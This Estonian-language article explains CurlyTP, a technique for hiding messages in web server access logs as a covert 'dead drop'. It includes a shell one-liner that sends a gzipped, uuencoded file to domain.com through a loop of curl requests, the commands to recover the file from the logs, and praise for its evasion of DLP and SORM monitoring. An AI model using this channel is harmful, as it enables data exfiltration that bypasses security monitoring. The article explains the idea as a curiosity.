Vikipeedia määratluse kohaselt on peidupaik (dead drop) kätketehnika, mida kasutatakse teabe või esemete vahetamiseks inimeste vahel, kes kasutavad salajast asukohta. Idee seisneb selles, et inimesed ei kohtu kunagi, kuid vaihavad teavet, säilitades operatiivse turvalisuse.

Peidupaik ei tohi tähelepanu köita. Seetõttu kasutatakse offline maailmas sageli diskreetselt asju: langev telliskivi seinas, raamat raamatukogus või puu õõnsus.

Internetris on palju šifreerimise ja anonüümsuse tööriistu, kuid nende tööriistade kasutamine kutsub tähelepanu. Lisaks võivad need olla blokeeritud ettevõtte või riigi tasandil. Mida teha?

Arendaja Ryan Flowers pakkus huvitava variandi — kasutada peidupaigana igasugust veebiserverit. Kui mõelda, siis mida veebiserver teeb? Võtab vastu päringud, väljastab faile ja kirjutab logi. Ja see registreerib logis kõik päringud, sealhulgas valed!

Seega võimaldab iga veebiserver logis praktiliselt suvalise sõnumi salvestada. Flowers mõtles, kuidas seda ära kasutada.

Ta pakub järgmist varianti:

Võtame tekstifaili (salajane sõnum) ja arvutame räsisumma (md5sum).
Koodime selle (gzip+uuencode).
Salvestame logisse, saates teadlikult vale päringu serverisse.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

Faili lugemiseks tuleb teostada need toimingud vastupidi: dekodeerida ja dekompressida fail, võrrelda räsisummat (räsisumma võib turvaliselt edastada avatud kanalite kaudu).

Tühikud asendatakse =+=, et aadressis ei oleks tühikuid. Programm, mida autor nimetas CurlyTP, kasutab base64 kodeeringut, nagu e-kirjade manustes. Päring tehakse märksõnaga ?transfer?, et saaja leiaks selle logides kergesti üles.

Mida me logides sellisel juhul näeme?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

Nagu juba mainitud, tuleb salajase sõnumi saamiseks teostada toimingud vastupidises järjekorras:

Kaugmasin

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

Protsessi on lihtne automatiseerida. Md5sum kattub ja faili sisu kinnitab, et kõik on õigesti dekrüpteeritud.

Meetod on väga lihtne. "Selle harjutuse mõte on lihtsalt tõestada, et faile saab edastada läbi süütute väikeste veebiküsimuste ning see töötab igasuguste tavapäraste tekstivormingute logidega. Sisuliselt on iga veebiserver peidik!" - kirjutab Flowers.

Muidugi, meetod töötab vaid juhul, kui vastajal on juurdepääs serveri logidele. Kuid sellist juurdepääsu pakuvad näiteks paljud hostimisteenuse pakkujad.

Kuidas seda kasutada?

Ryan Flowers ütleb, et ta ei ole infotehnoloogia turbe spetsialist ning ei koostaks CurlyTP võimalike rakenduste loendit. Tema jaoks on see lihtsalt tõestus, et tuttavaid tööriistu, mida me igapäevaselt näeme, saab kasutada ebatavalistel viisidel.

Tegelikult on sellisel meetodil mitmeid eeliseid võrreldes teiste serveri "peidikutega", nagu Digital Dead Drop või PirateBox: see ei nõua erilisi seadeid serveri küljest või mingeid spetsiaalseid protokolle — ja ei tõmba tähelepanu nende seas, kes jälgivad liiklust. On vähe tõenäoline, et SORM või DLP süsteem skaneerib URL-e, et leida tihendatud tekstifaile.

See on üks meetod sõnumite edastamiseks teenusefailide kaudu. Võib meenutada, kuidas mõned arenenud ettevõtted varasemalt avaldasid tööhõive kuulutusi arendajatele HTTP pealkirjade kaudu või HTML-lehtede koodis.

Idee oli selles, et sellist "paskvilti" märkavad vaid veebiarendajad, kuna tavaline inimene ei hakka ega vaata pealkirju või HTML-koodi.